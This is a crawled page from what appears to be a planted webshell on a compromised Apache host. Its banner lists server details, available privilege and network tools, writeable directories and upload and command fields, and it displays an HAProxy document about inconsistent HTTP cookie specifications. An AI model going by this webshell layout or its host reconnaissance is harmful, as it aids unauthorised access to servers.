403Webshell
Server IP : 77.68.64.21  /  Your IP : 216.73.217.105
Web Server : Apache
System : Linux hp3-wp-1011378.hostingp3.local 3.10.0-1160.144.1.el7.tuxcare.els9.x86_64 #1 SMP Fri Jul 10 17:06:31 UTC 2026 x86_64
User : csh2668128 ( 2112425)
PHP Version : 8.1.34
Disable Function : shell_exec,exec,system,popen,set_time_limit
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/doc/haproxy-1.5.18/internals/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/doc/haproxy-1.5.18/internals/http-cookies.txt
2010/08/31 - HTTP Cookies - Theory and reality

HTTP cookies are not uniformly supported across browsers, which makes it very
hard to build a widely compatible implementation. At least four conflicting
documents exist to describe how cookies should be handled, and browsers
generally don't respect any but a sensibly selected mix of them :

  - Netscape's original spec (also mirrored at Curl's site among others) :
    http://web.archive.org/web/20070805052634/http://wp.netscape.com/newsref/std/cookie_spec.html
    http://curl.haxx.se/rfc/cookie_spec.html

    Issues: uses an unquoted "Expires" field that includes a comma.

  - RFC 2109 :
    http://www.ietf.org/rfc/rfc2109.txt

    Issues: specifies use of "Max-Age" (not universally implemented) and does
            not talk about "Expires" (generally supported). References quoted
            strings, not generally supported (eg: MSIE). Stricter than browsers
            about domains. Ambiguous about allowed spaces in values and attrs.

  - RFC 2965 :
    http://www.ietf.org/rfc/rfc2965.txt

    Issues: same as RFC2109 + describes Set-Cookie2 which only Opera supports.

  - Current internet draft :
    https://datatracker.ietf.org/wg/httpstate/charter/

    Issues: as of -p10, does not explain how the Set-Cookie2 header must be
            emitted/handled, while suggesting a stricter approach for Cookie.
            Documents reality and as such reintroduces the widely used unquoted
            "Expires" attribute with its error-prone syntax. States that a
            server should not emit more than one cookie per Set-Cookie header,
            which is incompatible with HTTP which says that multiple headers
            are allowed only if they can be folded.

See also the following URL for a browser * feature matrix :
   http://code.google.com/p/browsersec/wiki/Part2#Same-origin_policy_for_cookies

In short, MSIE and Safari neither support quoted strings nor max-age, which
make it mandatory to continue to send an unquoted Expires value (maybe the
day of week could be omitted though). Only Safari supports comma-separated
lists of Set-Cookie headers. Support for cross-domains is not uniform either.


Youez - 2016 - github.com/yon3zu
LinuXploit